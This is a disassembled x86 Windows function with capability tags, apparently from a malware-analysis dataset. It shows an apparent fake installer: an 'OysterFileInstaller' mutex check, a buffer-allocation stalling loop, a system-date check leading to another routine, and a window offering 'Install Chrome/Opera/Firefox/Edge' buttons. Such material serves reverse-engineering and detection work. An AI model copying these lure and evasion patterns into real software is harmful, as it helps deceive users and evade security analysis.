Function at 0x401f00
Capabilities:
Check mutex on windows
Hide graphical window
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x88
mov eax, dword [0x42b080]
xor eax, esp
mov dword [esp + 0x84], eax
push esi
push edi
mov edi, dword [ebp + 8]
push str.OysterFileInstallerrellatsnIeliFretsyO
push 1
push 0
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401f67
test esi, esi
je 0x401f4c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.004081b6
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x5a3428
push 0x67
push edi
call esi
push 0x64
push 0x5a3360
push 0x6d
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push edi
mov dword [esp + 0x2c], 0x30
mov dword [esp + 0x30], 3
mov dword [esp + 0x34], 0x4022b0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], edi
call esi
push 0x7f00
push 0
mov dword [esp + 0x44], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [esp + 0x3c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], 6
mov dword [esp + 0x50], 0x6d
mov dword [esp + 0x54], 0x5a3360
call esi
mov dword [esp + 0x50], eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
lea ecx, [esp + 0x10]
call fcn.00401080
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
add edi, 0xfc23ac00
mov byte [esp + 8], 0
adc esi, 6
mov dword [esp + 0x10], esi
lea ecx, [esp + 0x18]
call fcn.00401080
cmp dword [eax + 4], esi
jg 0x40206f
jl 0x402037
cmp dword [eax], edi
jae 0x40206f
push 0x5f5e100
call fcn.0040e0cc
mov esi, eax
add esp, 4
test esi, esi
je 0x402065
push 0x5f5e100
push dword [esp + 0xc]
push esi
call fcn.00409940
add esp, 0xc
push esi
call fcn.0040d618
add esp, 4
inc byte [esp + 8]
mov esi, dword [esp + 0x10]
jmp 0x402023
lea eax, [esp + 0x70]
xorps xmm0, xmm0
push eax
movaps xmmword [esp + 0x74], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp word [esp + 0x72], 2
ja 0x402284
jne 0x4020b8
cmp word [esp + 0x76], 0xd
ja 0x402284
jne 0x4020b8
cmp word [esp + 0x78], 0xa
ja 0x402284
jne 0x4020b8
cmp word [esp + 0x7a], 0
ja 0x402284
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [0x5a335c], 0
mov dword [0x5a3358], eax
call esi
push 1
mov edi, eax
call esi
push 0
push dword [esp + 0x10]
sub eax, 0x96
push 0
push 0
cdq
push 0x96
sub eax, edx
push 0x136
sar eax, 1
push eax
lea eax, [edi - 0x136]
mov edi, dword [sym.imp.USER32.dll_CreateWindowExW]
cdq
sub eax, edx
sar eax, 1
push eax
push 0xcf0000
push 0x5a3428
push 0x5a3360
push 0
call edi
mov esi, eax
test esi, esi
jne 0x40213b
pop edi
pop esi
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.004081b6
mov esp, ebp
pop ebp
ret 0x10
push 0
push dword [0x5a3358]
push 0x3e8
push esi
push 0x1e
push 0x82
push 0xa
push 0xa
push 0x50010001
push str.Install_Chrome
push str.BUTTON
push 0
call edi
push 0
push dword [0x5a3358]
push 0x3e9
push esi
push 0x1e
push 0x82
push 0xa
push 0x96
push 0x50010001
push str.Install_Opera
push str.BUTTON
push 0
call edi
push 0
push dword [0x5a3358]
push 0x3ea
push esi
push 0x1e
push 0x82
push 0x32
push 0xa
push 0x50010001
push str.Install_Firefox
push str.BUTTON
push 0
call edi
push 0
push dword [0x5a3358]
push 0x3eb
push esi
push 0x1e
push 0x82
push 0x32
push 0x96
push 0x50010001
push str.Install_Edge
push str.BUTTON
push 0
call edi
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x5c]
push 0
push eax
call esi
test eax, eax
je 0x40226a
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
nop
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x14]
push dword [esp + 0x5c]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x402259
lea eax, [esp + 0x54]
push eax
call edi
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [esp + 0x60]
push eax
call esi
test eax, eax
jne 0x402230
mov eax, dword [esp + 0x5c]
pop edi
pop esi
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.004081b6
mov esp, ebp
pop ebp
ret 0x10
mov dword [0x5a335c], 0x194
call fcn.00402440
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
xor ecx, esp
call fcn.004081b6
mov esp, ebp
pop ebp
ret 0x10